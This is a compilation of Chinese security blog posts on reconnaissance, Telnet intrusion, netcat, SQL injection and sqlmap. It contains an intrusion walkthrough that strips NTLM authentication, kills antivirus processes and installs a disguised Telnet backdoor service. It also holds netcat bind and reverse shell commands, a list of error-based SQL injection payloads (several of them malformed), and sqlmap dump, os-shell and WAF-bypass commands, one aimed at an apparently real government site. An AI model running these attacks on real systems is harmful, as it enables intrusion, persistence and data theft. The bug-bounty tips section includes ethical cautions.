test

安全攻城师系列文章-信息收集2

CanMeng'Blog - 一个WEB安全的技术爱好者:

信息收集网站


在线密码工具
在线社工库
在线漏洞查找平台
在线CDN平台
在线安全视频平台

 

安全攻城师系列文章-信息收集工具篇

CanMeng'Blog - 一个WEB安全的技术爱好者:

本次主要讲的是如何使用域名收集工具,另外如何利用工具收集更多信息,为下一步渗透做好充足准备。啰嗦这么多,下面进入正题。


网站及服务器信息 


如果知道目标的域名,你首先要做的就是通过Whois数据库查询域名的注册信息,Whois数据库是提供域名的注册人信息,包括联系方式,管理员名字,管理员邮箱等等,其中也包括DNS服务器的信息。默认情况下,Kali已经安装了Whois。你只需要输入要查询的域名即可:




  • 利用以上收集到的邮箱、QQ、电话号码、姓名、以及服务商,可以针对性进行攻击,利用社工库进行查找相关管理员信息,另外也可以对相关DNS服务商进行渗透,查看是否有漏洞,利用第三方漏洞平台,查看相关漏洞。


  • Nslookup用法 nslookup是站长较为常用的工具之一,它甚至比同类工具dig的使用人数更多,原因是它的运行环境是windows,并且不需要我们再另外安装什么东西。dig是在linux环境里运行的命令,不过也可以在windows环境里使用,只是需要安装dig windows版本的程序。


  • Nslookup命令以两种方式运行:非交互式和交互式。本文第一次提到“交互式”的概念,简单说明:交互式系统是指执行过程中允许用户输入数据和命令的系统。而非交互式系统,是指一旦开始运行,不需要人干预就可以自行结束的系统。因此,nslookup以非交互式方式运行,就是指运行后自行结束。而交互式,是指开始运行后,会要求使用者进一步输入数据和命令。


  • 最常用的DNS记录有以下几类




  • A记录 IP地址记录,记录一个域名对应的IP地址



    • AAAA记录 IPv6 地址记录,记录一个域名对应的IPv6地址


    • CNAME记录 别名记录,记录一个主机的别名


    • MX记录 电子邮件交换记录,记录一个邮件域名对应的IP地址


    • NS记录 域名服务器记录 ,记录该域名由哪台域名服务器解析


    • PTR记录 反向记录,也即从IP地址到域名的一条记录


    • TXT记录 记录域名的相关文本信息 非交互式下命令的语法是是:


     


  • nslookup [-option] [hostname] [server]





  • 上面是帮助信息,注意两点:



    • 使用type参数可以设置记录类型。


    • 使用ls命令,可以列出一个域下面所有的域名。
      Hostname选项指定需要查询的主机名,比如www.sec-redclub.com。Server选项指定DNS服务器。为了查询结果的准确,可选用几个常用的公共DNS服务器:8.8.8.8是Google提供的DNS服务,114.114.114.144和114.114.115.115是114DNS提供的免费DNS服务。
      下面的例子通过114.114.114.114查询域名www.sec-redclub.com的IP地址: nslookup主要是用来查询dns服务器信息,不过,nslookup的作用绝非仅此而止,利用nslookup命令,还可以查到更多有关域名的服务器信息,IP、CNAME、TLL等等。


     




可以看到sec-redclub.com对应地址是121.42.173.26.


下面的例子查询sec-redclub.com使用的DNS服务器名称:



上述结果显示,外部主DNS服务器有6个。下面的例子展示如何查询邮件交换记录:



查看网站cname值。



Dig使用 


可以使用dig命令对DNS服务器进行挖掘Dig命令后面直接跟域名,回车即可不使用选项的dig命令,只返回一个记录。如果要返回全部的记录,只需要在命令添加给出的类型:




  • Dig常用选项




  • -c选项,可以设置协议类型(class),包括IN(默认)、CH和HS。


  • -f选项,dig支持从一个文件里读取内容进行批量查询,这个非常体贴和方便。文件的内容要求一行为一个查询请求。来个实际例子吧:





  • -4和-6两个选项,用于设置仅适用哪一种作为查询包传输协议,分别对应着IPv4和IPv6。


  • -t选项,用来设置查询类型,默认情况下是A,也可以设置MX等类型,来一个例子:





  • -q选项,其实它本身是一个多余的选项,但是它在复杂的dig命令中又是那么的有用。


  • -q选项可以显式设置你要查询的域名,这样可以避免和其他众多的参数、选项相混淆,提高了命令的可读性,来个例子:



    • -x选项,是逆向查询选项。可以查询IP地址到域名的映射关系。举一个例子:


     





  • 跟踪dig全过程



dig非常著名的一个查询选项就是+trace,当使用这个查询选项后,dig会从根域查询一直跟踪直到查询到最终结果,并将整个过程信息输出出来





  • 精简dig输出




  • 使用+nocmd的话,可以节省输出dig版本信息。


  • 使用+short的话,仅会输出最精简的CNAME信息和A记录,其他都不会输出。就像这样:




DNS枚举工具DNSenum


DNSenum是一款非常强大的域名信息收集工具。它能够通过谷歌或者字典文件猜 测可能存在的域名,并对一个网段进行反向查询。它不仅可以查询网站的主机地址 信息、域名服务器和邮件交换记录,还可以在域名服务器上执行axfr请求,然后通 过谷歌脚本得到扩展域名信息,提取子域名并查询,最后计算C类地址并执行whois 查询,执行反向查询,把地址段写入文件。本小节将介绍使用DNSenum工具检查 DNS枚举。在终端执行如下所示的命令:



输出的信息显示了DNS服务的详细信息。其中,包括主机地址、域名服务地址和邮 件服务地址。如果幸运的话,还可以看到一个区域传输。


使用DNSenum工具检查DNS枚举时,可以使用dnsenum的一些附加选项,如下所 示。


—threads [number]:设置用户同时运行多个进程数。


-r:允许用户启用递归查询。


-d:允许用户设置WHOIS请求之间时间延迟数(单位为秒)。


-o:允许用户指定输出位置。


-w:允许用户启用WHOIS请求。


subDomainsbrute二级域名收集 


二级域名是指顶级域名之下的域名,在国际顶级域名下,它是指域名注册人的网上名称;在国家顶级域名下,它是表示注册企业类别的符号。我国在国际互联网络信息中心(Inter NIC) 正式注册并运行的顶级域名是CN,这也是我国的一级域名。在顶级域名之下,我国的二级域名又分为类别域名和行政区域名两类。类别域名共7个,包括用于科研机构的ac;国际通用域名com、top;用于教育机构的edu;用于政府部门的gov;用于互联网络信息中心和运行中心的net;用于非盈利组织的org。而行政区域名有34个,分别对应于我国各省、自治区和直辖市。(摘自百度百科) 因为主域名防御比较强,而二级域名可能更好欺负些。




  • Usage: subDomainsBrute.py [options] target.com




  • Options:


  • -h,—help show this help messageand exit


  • -t THREADS_NUM, —threads=THREADS_NUM Number of threads.default = 30


  • -f NAMES_FILE, —file=NAMES_FILE Dict file used to brutesub names


  • -i,—ignore-intranet Ignore domains pointedto private IPs.


  • -o OUTPUT, —output=OUTPUT Output file name.default is {target}.txt以上为工具默认参数,如果是新手,请直接跟主域名即可,不用进行其它设置。



Python subDomainsbrute.py sec-redclub.com就可以直接运行,等待结果,最后在工具文件夹下面存在txt文件,直接导入扫描工具就可以进行扫描了。



layer子域名检测工具 


layer子域名检测工具主要是windows一款二级域名检测工具,利用爆破形式。



域名对话框直接输入域名就可以进行扫描了,工具显示比较细致,有域名、解析ip、cnd列表、web服务器和网站状态,这些对于一个安全测试人员,非常重要。如下操作:



回显示大部分主要二级域名。本次讲解就给大家介绍这里,信息收集部分就给大家介绍到,视频预计将会在下一节教程出来以后给大家公开。


 

详解Telnet入侵原理及利用方法(精华)

陌安'Blog:

1、什么是Telnet?
  对于Telnet的认识,不同的人持有不同的观点,可以把Telnet当成一种通信协议,但是对于入侵者而言,Telnet只是一种远程登录的工具。一旦入侵者与远程主机建立了Telnet连接,入侵者便可以使用目标主机上的软、硬件资源,而入侵者的本地机只相当于一个只有键盘和显示器的终端而已。
2、Telnet被入侵者用来做什么
  (1)Telnet是控制主机的第一手段
  如果入侵者想要在远程主机上执行命令,需要建立IPC$连接,然后使用net time命令查看系统时间,最后使用at命令建立计划任务才能完成远程执行命令。虽然这种方法能够远程执行命令,但相比之下,Telnet方式对入侵者而言则会方便得多。入侵者一旦与远程主机建立Telnet连接,就可以像控制本地计算机一样来控制远程计算机。可见,Telnet方式是入侵者惯于使用的远程控制方式,当他们千方百计得到远程主机的管理员权限后,一般都会使用Telnet方式进行登录。
  (2)用来做跳板
入侵者把用来隐身的肉鸡称之为“跳板”,他们经常用这种方法,从一个“肉鸡”登录到另一个“肉鸡”,这样在入侵过程中就不会暴露自己的IP地址。
3.关于NTLM验证
由于Telnet功能太强大,而且也是入侵者使用最频繁的登录手段之一,因此微软公司为Telnet添加了身份验证,称为NTLM验证,它要求Telnet终端除了需要有Telnet服务主机的用户名和密码外,还需要满足NTLM验证关系。NTLM验证大大增强了Telnet主机的安全性,就像一只拦路虎把很多入侵者拒之门外。
4、Telnet语法
telnet [-a][-e escape char][-f log file][-l user][-t term][host [port]]
-a 企图自动登录。除了用当前已登陆的用户名以外,与 -l 选项相同。
-e 跳过字符来进入 telnet 客户提示。
-f 客户端登录的文件名
-l 指定远程系统上登录用的用户名称。
要求远程系统支持 TELNET ENVIRON 选项。
-t 指定终端类型。
支持的终端类型仅是: vt100, vt52, ansi 和 vtnt。
host 指定要连接的远程计算机的主机名或 IP 地址。
port 指定端口号或服务名。
5.使用Telnet登录
登录命令:telnet HOST [PORT] 例如:telnet 61.152.158.132 23(默认端口)
断开Telnet连接的命令:exit
  成功地建立Telnet连接,除了要求掌握远程计算机上的账号和密码外,还需要远程计算机已经开启“Telnet服务”,并去除NTLM验证。也可以使用专门的Telnet工具来进行连接,比如STERM,CTERM等工具。
6.Telnet典型入侵(如果以下内容不太了解,可以简单了解)
  1.Telnet典型入侵步骤
  步骤一:建立IPC$连接。其中sysback是前面建立的后门账号。
  步骤二:开启远程主机中被禁用的Telnet服务。
  步骤三:断开IPC$连接。
  步骤四:去掉NTLM验证。如果没有去除远程计算机上的NTLM验证,在登录远程计算机的时候就会失败。
  不过入侵者会使用各种方法使NTLM验证形同虚设。解除NTLM的方法有很多,下面列出一些常用的方法,来看看入侵者如何去除NTLM验证。
  (1)方法一
  首先,在本地计算机上建立一个与远程主机上相同的账号和密码。
  然后,通过“开始”→“程序”→“附件”找到“命令提示符”,使用鼠标右键单击“命令提示符”,然后选择“属性”
  在“以其他用户身份运行(U)”前面“打钩”,然后单击“确定”按钮。接着,仍然按照上述路径找到“命令提示符”,用鼠标左键单击打开,得到如图所示对话框。
  如图所示,键入“用户名”和“密码”。
  单击“确定”按钮后,得到MS-DOS界面,然后用该MS-DOS进行Telnet登录。
  键入“telnet 192.168.27.128”命令并回车后,在得到的界面中键入“y”表示发送密码并登录,如图所示。
  最后得到就是远程主机为Telnet终端用户打开的Shell,在该Shell中输入的命令将会直接在远程计算机上执行。
  比如,键入“net user”命令来查看远程主机上的用户列表。
  (2)方法二
  该方法使用工具NTLM.EXE来去除NTLM验证。首先与远程主机建立IPC$连接,然后将NTLM.EXE拷贝至远程主机,最后通过at命令使远程计算机执行NTLM.EXE。
  计划任务执行NTLM.EXE后,便可键入“telnet 192.168.27.128”命令来登录远程计算机。
  最后得到登录界面
  在该登录界面中键入用户名和密码,如果用户名和密码正确,便会登录到远程计算 机,得到远程计算机的Shell。
  成功登录。
  另外,还可以使用与opentelnet.exe相配套的程序resumetelnet.exe来恢复远程主机的NTLM验证,命令格式为“ResumeTelnet.exe \\server sername password”。
  执行后回显可知,resumetelnet.exe关闭了目标主机的Telnet服务,恢复了NTLM验证。
  Telnet高级入侵全攻略
  从前面的介绍可以看出,即使计算机使用了NTLM验证,入侵者还是能够轻松地去除NTLM验证来实现Telnet登录。如果入侵者使用23号端口登录,管理员便可以轻易地发现他们,但不幸的是,入侵者通常不会通过默认的23号端口进行Telnet连接。那么入侵者究竟如何修改Telnet端口,又如何修改Telnet服务来隐蔽行踪呢?下面举一些常见的例子来说明这一过程,并介绍一下完成这一过程所需要的工具。
  X-Scan:用来扫出存在NT弱口令的主机。
  opentelnet:用来去NTLM验证、开启Telnet服务、修改Telnet服务端口。
  AProMan:用来查看进程、杀死进程。
  instsrv:用来给主机安装服务。
  (1)AProMan简介
  AproMan以命令行方式查看进程、杀死进程,不会被杀毒软件查杀。举个例子,如果入侵者发现目标主机上运行有杀毒软件,会导致上传的工具被杀毒软件查杀,那么他们就会要在上传工具前关闭杀毒防火墙。使用方法如下:
  c:\AProMan.exe -a 显示所有进程
  c:\AProMan.exe -p 显示端口进程关联关系(需Administrator权限)
  c:\AProMan.exe -t [PID] 杀掉指定进程号的进程
  c:\AProMan.exe -f [FileName] 把进程及模块信息存入文件
  (2)instsrv简介
  instsrv是一款用命令行就可以安装、卸载服务的程序,可以自由指定服务名称和服务所执行的程序。instsrv的用法如下:
  安装服务:instsrv
  卸载服务:instsrv REMOVE
  还有另一款优秀的远程服务管理工具SC。它属于命令行工具,可以在本地对远程计算机上的服务进行查询、启动、停止和删除。它的用法很简单,这里不作介绍了。下面通过实例来介绍入侵者如何实现Telnet登录并留下Telnet后门的过程。
  步骤一:扫出有NT弱口令的主机。在X-Scan的“扫描模块”中选中“NT-SERVER弱口令”。
  然后在“扫描参数中”指定扫描范围为“192.168.27.2到192.168.27.253”。
  等待一段时间后,得到扫描结果。
  步骤二:用opentelnet打开远程主机Telnet服务、修改目标主机端口、去除NTLM验证。


  无论远程主机是否开启“Telnet服务”,入侵者都可以通过工具opentelnet来解决。比如,通过“opentelnet \\192.168.27.129 administrator "" 1 66”命令为IP地址为192.168. 27.129的主机去除NTLM认证,开启Telnet服务,同时又把Telnet默认的23号登录端口改成66号端口。
  步骤三:把所需文件(instsrv.exe、AProMan.exe)拷贝到远程主机。
  首先建立IPC$,然后通过映射网络硬盘的方法把所需文件拷贝、粘贴到远程计算机的c:\winnt文件夹中。
  拷贝成功后。
  步骤四:Telnet登录。
  在MS-DOS中键入命令“telnet 192.168.27.129 66”来登录远程主机192.168.27.129。
  步骤五:杀死防火墙进程。
  如果入侵者需要把类似木马的程序拷贝到远程主机并执行,那么他们会事先关闭远程主机中的杀毒防火墙。虽然这里没有拷贝类似木马的程序到远程主机,但还是要介绍一下这一过程。当入侵者登录成功后,他们会进入到c:\winnt目录中使用AProMan程序。首先通过命令 AProMan –A查看所有进程,然后找到杀毒防火墙进程的PID,最后使用AProMan –t [PID]来杀掉杀毒防火墙。
  步骤六:另外安装更为隐蔽的Telnet服务。
  为了事后仍然能登录到该计算机,入侵者在第一次登录之后都会留下后门。这里来介绍一下入侵者如何通过安装系统服务的方法来让Telnet服务永远运行。在安装服务之前,有必要了解一下Windows操作系统是如何提供“Telnet服务”的。打开“计算机管理”,然后查看“Telnet服务”属性。
  在“Telnet 的属性”窗口中,可以看到其中“可执行文件的路径”指向“C:\WINNT\ SYSTEM32\tlntsvr.exe”。可见,程序tlntsvr.exe就是Windows系统中专门用来提供“Telnet服务”的。也就是说,如果某服务指向该程序,那么该服务就会提供Telnet服务。因此,入侵者可以自定义一个新服务,将该服务指向tlntsvr.exe,从而通过该服务提供的Telnet服务登录,这样做后,即使远程主机上的Telnet服务是被禁用的,入侵者也可以毫无阻碍的登录到远程计算机,这种方法被称之为 Telnet后门。下面就介绍一下上述过程是如何实现的。首先进入instsrv所在目录。
  然后使用instsrv.exe建立一个名为“SYSHEALTH”的服务,并把这个服务指向C:\WINNT z\SYSTEM32\tlntsvr.exe,根据instsrv.exe的用法,键入命令“instsrv.exe SYSHEALTH C:\WINNT\SYSTEM32\tlntsvr.exe”。
  一个名为“SYSHEAHTH”的服务就这样建立成功了。虽然从表面看上去该服务与远程连接不存在任何关系,但是实际上该服务是入侵者留下的Telnet后门服务。
  通过“计算机管理”可以看到该服务已经添加在远程计算机上。入侵者一般会把这个服务的启动类型设置成“自动”,把原来的“Telnet服务”停止并禁用。
  通过验证可知,虽然远程主机上的Telnet服务已经被停止并禁用,但入侵者仍然能够      通过Telnet来控制远程主机。通过这些修改,即使管理员使用“netstat –n”命令来查看开放端口号也看不出66端口正在提供Telnet服务,此命令平常还可以拿来判断端口的连接情况。

【Kali linux】NC/NCAT

林歌:

NC    ---netcat / 网络工具中的瑞士军刀


   侦听模式/传输模式


    Telnet  / 获取banner信息


    传输文本信息


    传输文件/目录


    加密传输文件


    远程控制/木马


    加密所有流量


    流媒体服务器


    远程克隆硬盘


功能:


    nc -h help


NC --- telnet / banner (作为客户端)


    nc -nv 1.1.1.1 110  (sun……)


    nc -nv 1.1.1.1 25    (SMTP邮件服务器)


    nc -nv 1.1.1.1 80    (80端口)


NC --- 文本传输(聊天 / 电子取证)


    A:nc -l -p 333(打开侦听端口333)[服务端]


    B:nc -nv 1.1.1.1 4444  [客户端连接]


    


    电子取证:ls -l | nc -nv 1.1.1.1 333 (此时只有A会返回信息)


                      nc -l -p 333 > ps.txt (侦听333端口,信息输入ps.txt中)


NC --- 传输文件/目录


传输文件


    A:nc -lp 333 > 1.mp3                     (接收端 > 输出)


    B:nc -nv 1.1.1.1 333 <1.mp3 -q 1    (发送端 < 输入)(tips: -q 1 表示连接完成1秒后断开)


    或者


    A:nc -q 1 -lp 333 <a.mp3                (发送端)


    B:nc -nv 1.1.1.1 333 > 2.mp4


传输目录


    A:tar -cvf - music/ | nc -lp 333 -q 1


    B:nc -nv 1.1.1.1 333 | tar -xvf -


加密传文件


    A:nc -lp 333 | mcrypt -fbqd -a rijndael-256 -m ecb >1.mp3        (接收端 打开侦听端口333,等待别人的传输 , rijndael-256加密算法 fbqd解密过程)


    B:mcrypt -flush -Fbq -a rijndael-256 -m ecb <a.mp4 | nc -nv 1.1.1.1 333 -q l


NC --- 流媒体服务


    A: cat 1.mp3 | nc -lp 333


    B: nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -         (默认需要安装mplayer)


NC --- 端口扫描(此项不是重点)


    nc -nvz 1.1.1.1 1-65535         (默认扫描为TCP端口)


    nc -vnzu 1.1.1.1 1-1024          (参数加“u”,此时探测为udp端口)


NC --- 远程克隆硬盘


    A: nc -lp 333 | dd of=/dev/sda


    B: dd if=/dev/sda |nc -nv 1.1.1.1 333 -q 1


   远程电子取证,可以将目标服务器硬盘远程复制,或者内存。


NC --- 远程控制


正向:(B控制A)


        A: nc -lp 333 -c bash    (服务端 映射端口333 为bash)


        B: nc 1.1.1.1 333            (客户端 链接服务端333)


反向:(A控制B)


        A: nc -lp 333                      (服务端 映射333端口)


        B: nc 1.1.1.1 333 -c bash    (客户端 主动利用333端口进行bash)


注: Windows用户把bash改成cmd




NC ---NCAT 


    NC缺乏加密和身份认证的能力,ncat用来弥补nc的不加密和不验证身份的缺陷


    Ncat包含于nmap工具包中


        A: ncat -c bash --allow 192.168.1.100 -vnl 333 --ssl        (服务器端)


        B: ncat -nv 1.1.1.1 333 --ssl                                                (客户端)


    


注:不同系统/平台的nc参数功能不尽相同(man nc  /  nc -h 等等查看帮助)



linux下一个很好玩的命令nc

windfly:

nc是netcat的缩写,是一款简单的通过网络读写数据的工具。

有几个好玩的应用场景

1.聊天

在server1上输入$nc -l -p1234 在1234端口启动监听

在server2上输入$nc 192.168.1.100 1234 建立连接,就可以聊天了

2.传输文件

从server1拷贝文件到server2上。需要先在server2上,用nc启动监听,

server2上运行:$nc -lp 1234>data.txt

在server1上运行$nc 192.168.1.100 1234 <data.txt

3.传输目录

从server1拷贝datadir目录到server2上

在server2上运行:$nc -lp 1234 |tar xzvf -


在server1上运行:$tar czvf – datadir|nc 192.168.1.100 1234


4.获取网页文件


$nc example.domain.com 80


GET /


5.克隆硬盘


操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。
克隆硬盘或分区的操作,不应在已经mount的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工 具光盘)启动系统后,在server2上进行类似的监听动作:


# nc -l -p 1234 | dd of=/dev/sda


server1上执行传输,即可完成从server1克隆sda硬盘到server2的任务:


# dd if=/dev/sda | nc 192.168.228.222 1234


参考https://linuxso.com/command/nc_2.html



sql报错注入的12个函数及sql注入语句

hack-chengyu:

sql报错注入的12个函数及sql注入语句 - 成雨 - 成雨s Blog-专注Web安全与逆向破解

 

1、通过floor报错,注入语句如下:   

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:

and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

4、通过NAME_CONST报错,注入语句如下:

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:

and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:

and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:

and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:

and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:

and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:

and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:

and linestring (()select * from(select user() )a)b );

sql报错注入的12个函数及sql注入语句 - 成雨 - 成雨s Blog-专注Web安全与逆向破解

 join报错注入(剩下的就不贴图了,已经测试啦);

SQL注入技能树

Javan's blog:



SQL注入概要


SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

基础 (0.5天)
测试环境
入门 
进阶 
案例 
知识点 

Boolean/Error/Union/Stack/Time based sql injection


书籍

  • SQL注入攻击与防御




【转】漏洞挖掘经验分享

小影:

原文:


漏洞挖掘经验分享 | Secbug - 专注互联网信息安全工程服务


大牛总结的一些经验,大概有以下几点:


1、收集信息,尽可能的越多越好(主域名、IP段、搜索引擎、GitHub等)。


2、收集好信息后,对收集的信息进行一些扩展,增加信息收集的量(可以用SubDomain工具批量收集厂商域名信息,域名对应IP,数据多了之后,就可以拿来分析域名的真实地址、以及潜在的IP段)。


3、对IP段、子域名等进行大量破解,这里我们要经常收集一些SRC开发常用的端口、以及一些域名的命名习惯(GitHub上面有很多现成的端口,平时收集信息的时候,可以多注意一下)。


4、收集对方的邮箱账号命名习惯(因为好多官方后台都是用内部邮箱账号登录的)


5、一般大厂商主站的漏洞不是很多,挖到漏洞了,也没多少积分,新手遇到这类型站,应该主动绕道,去其他子站看看。


6、逻辑漏洞,这种类型的漏洞非常多,一般各大厂商基本上都存在,有的只是比较隐蔽而已,刚入手的白帽子,有可能觉得这个挖起来比较难,因为这个得对系统有一定的分析了解,不过好的是,这种漏洞一般只要挖洞一个,基本上奖励还是不错的。


7、弱口令、这种漏洞,新入手的白帽子最好提前收集一些弱口令字典,我用的一般是TOP2000。账号收集你可以看他们的邮箱结构,例如:liudehua、liudh、ldh、liudehua+数字等这种格式的账号,遇到只有后台类的系统,大家都可以用收集好的账号+常见的用户名,进行破解。


8、一般发现漏洞之后,可以尝试分析一下漏洞引发的一连串危害,记住一点,弱口令不是仅仅是弱口令问题,有可能系统还存在其他漏洞,这时候我们就可以利用弱口令进入后台之后,分析出他们其他存在的漏洞,例如:上传、注入、逻辑等漏洞,这种的一般危害比较大,被恶意利用了,很容易引发其他的问题。


记住:当你们挖到一个弱口令累的漏洞时候,一定不要轻易提交,可以利用弱口令挖掘一些其他的漏洞,如果后台实在没有其他漏洞(有可能也是个人技术问题、挖不到),那你就提交吧(其实也是一种无奈)。


9、有的厂商存在大C段、有的厂商存在大B段,这个时候我们平常的一些积累就可以用到了,我平时积累了4000个常见端口,这个时候利用闲暇时间你就开始跑端口吧,一般跑完之后,你还得对跑完之后的数据进行一些处理,看那些服务正常开启并能够访问,你可以写个简单脚本进行处理,不然你一个个访问弄太麻烦,现在很多厂商都把数据库端口、中间件等端口对外屏蔽了(偶尔有漏网之鱼),只保留了80、8080等端口号。


10、平时多关注最新的漏洞,把自己的收集的数据分类整理好(能够第一时间内,把数据能够利用起来)例如:JSP,PHP等系统分类整理。


11、多关注一下厂商的移动应用(APP、公众号系统、Mobile系统),一般厂商在这里面也容易出问题,现在很多厂商的一些移动应用开发的不够好,导致里面逻辑漏洞特别多,导致用户敏感信息信息泄露等。


12、厂商邮箱,当厂商人员达到一定数量的时候,弱口令或信息泄露类的事情就经常发生,导致的后果也比较严重,例如:开发人员无意识将代码传入第三方平台,内部测试服务器,平台账号等信息泄露。


13、关于扫描器,尽量少使用扫描器,锻炼自己的手工挖掘能力,这样也可以提升你的挖掘水平,我在挖洞的过程中一般很少使用扫描器,现在的扫描器,对一些漏洞扫描的准确率几乎为0,或压根扫不到。


14、关于漏洞挖掘工具,我目前使用最多的就是Burp、其次是Sqlmap,这两个工具在我的漏洞挖掘过程中,起到了很重要的作用。


Burp用来抓包重放,Sqlmap用来处理确认Burp测试中遇到的疑似SQL注入问题。


15、关于编程语言,要熟悉一些脚本语言,例如Python、php等,它可以帮助你了解漏洞产生的原理,以及遇到问题时写一些脚本等。


16、关于网络,有的白帽子对计算机网络不太清楚、IP划分、网络服务、主机服务、路由等都不是特别清楚,这些知识可以说是基础,没事的时候可以看看网络工程类的书籍、视频,补一补。


17、第三方数据平台,例如:shodan、oshadan等,这两个平台我经常用,虽然有数量查询限制,但还是可以想办法绕过的,通过上面平台我们可以查询到一些我们不清楚的系统,比如:某某公司分公司自己开发的系统,这个时候,我们也是可以对这种系统进行一些漏洞挖掘的,这种系统只要之前的没测试过的,一般存在的问题也是很多的,分分钟进后台,严重的有可能导致数据泄露,或通过分公司网络漫游总公司等。


18、多学习,多交流,当你觉得自己快挖不到洞的时候,却有其他人能挖到洞的时候,这时候你就应该想想怎么回事了,是不是自己的知识面不够,还是自己的思路不对了,如果是知识面不够你就应该好好学习了,我总是在不断挖洞的过程中,不断学习。多交流,当大多白帽子遇到这个问题的时候,有很多觉得人觉得自己好像孤军奋战一样,茫无目的寻找,这个时候如果你没有自己的组织,我建议你还是寻找一下吧,最起码找一个愿意帮助自己的人,解疑答惑。现在这种人好像越来越少了,扯淡的比较多。


补充:要是觉得自己水平很高,也应该做到不耻下问。


19、多跟漏洞平台的人接触,有困惑的时候,也可以问问他们,比如:最近大家都在挖什么洞呀……,不见得每个审核都会说,但是如果说了,你就照着那个思路挖就行了,洞总会有的。


20、挖洞到一定水平的时候,大家可以可以尝试着去挖挖众测项目,可以进一步提升你的挖洞效率跟能力。毕竟挖好了,都是钱。不管你是上学的,还是工作的都是一笔可观的收入。


21、不要轻言放弃,有很多人,挖洞很长时间挖不到,自己就觉得很郁闷,想放弃,这时候我想跟你说,往前看,回顾你之前挖的漏洞,看是否能从你熟悉的漏洞中,再次挖到新的漏洞。


22、真正的熟知各种漏洞类型的利用方法,原理。绝不要仅限于TOP10漏洞类型,记住大平台什么漏洞类型都有可能出现,漏洞不等人,不掌握好基本功,有可能漏洞就被其他白帽子挖走了,有时候挖洞,也是考验你的基本功。


23、关于漏洞利用最大化问题,挖洞的过程中,有的厂商审核有可能让你提供一些漏洞危害程度的说明,这个时候,你想的是点到为止,他想的是危害程度,因为这个要拿来给你漏洞评级的,


举个例子:xxx系统存在命令执行。看着这个漏洞名字吓死人,其实有时候这样子的漏洞评分、评级并不高,因为系统有各种各样的限制,导致你只能执行一些简单的命令,不能上传shell、执行其他危险操作等,由于你想的点到为止,并不清楚系统有如此的多的限制,导致你在自评或审核确认后给的评分不高,导致双方之间产生的一些矛盾。


还有的就是,可以进入系统,命令执行直接为管理员权限,可以拿到服务器权限,这个时候,白帽子要把握好度,进行一些截图,切勿窃取服务器的其他敏感信息(比如:偷偷脱裤等),如果想证明漫游等其他的危害,应该报告中集中体现出来(仅证明可以漫游,或拿其他系统举个例子也可以)。


24、底线问题,严于律己,别发现漏洞后,偷偷拿去乱搞。



SQLmap那点事

陌安'Blog:

access注入手法:
1.输入url


2.url --tables 猜表


3 url--columns -T 表名     暴字段


4.url --dump(脱裤) -T 表名 -C "字段名"  暴内容


 


 


mysql注入手法:


url --current-db当前库
url --current-user当前用户


url --dbs     获得数据库


url -D 数据库 --tables 获得表


url -D 数据库 -T 表名 --columns 暴字段


url -D 数据库 -T 表名 -C 字段 --dump   暴内容


 


cookie注入:


url --cookie "id=" --table --level 2    暴表


url --cookie "id=" --columns -T 表名 --level 2 获得字段


url --cookie "id=" --dump -T 表名 -C "字段名" --level 2  获得内容


 


post登陆框注入:


方法一:利用burp Suit抓包,把包内容保存为txt
sqlmap -r 保存的包文本 -p  参数


方法二:sqlmap -u url --forms


方法三:sqlmap -u url --data "参数=值&参数=值"


 


写入shell(权限大时才可以):


sqlmap - u url --os -cmd=命令
sqlmap - u url --os -shell=命令


伪静态注入:


在存在注入的地方加上*号


延时注入:


sqlmap - dbs -u url --delay 后面跟秒


sqlmap --dbs -u url --safe-freq 次数


 


批理搜索:


sqlmap -g inurl:php?id=


url --privileges查看权限


 


cookie注入:sqlmap.py -u 注入点 --cookie "参数" --tables --level 2


POST登录框注入:sqlmap.py -r 从文件读取数据 -p 指定的参数 --tables


                sqlmap.py -u 登录的地址 --forms 自动判断注入


                sqlmap.py -u 登录的地址 --data "指定参数"


绕过waf防火墙:sqlmap.py -u 注入点 -v 3 --batch --tamper "space2morehash.py"


               space2hash.py   base64encode.py charencode.py


sqlmap.py -u https://bx.smesd.gov.cn/info_Print.asp --cookie "ArticleID=2479" --batch --tamper "space2hash.py" --level 2


-u #注入点


-g 谷歌搜索


-f #指纹判别数据库类型


-b #获取数据库版本信息


-p #指定可测试的参数(?page=1&id=2 -p “page,id”)


-D “” #指定数据库名


-T “” #指定表名


-C “” #指定字段


-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “xx.log” –resume)


–columns #列出字段


–current-user #获取当前用户名称


–current-db #获取当前数据库名称


–users #列数据库所有用户


–passwords #数据库用户所有密码


–privileges #查看用户权限(–privileges -U root)


-U #指定数据库用户


–dbs #列出所有数据库


–tables -D “” #列出指定数据库中的表


–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段


–dump-all #列出所有数据库所有表


–exclude-sysdbs #只列出用户自己新建的数据库和表


–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)


–dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据


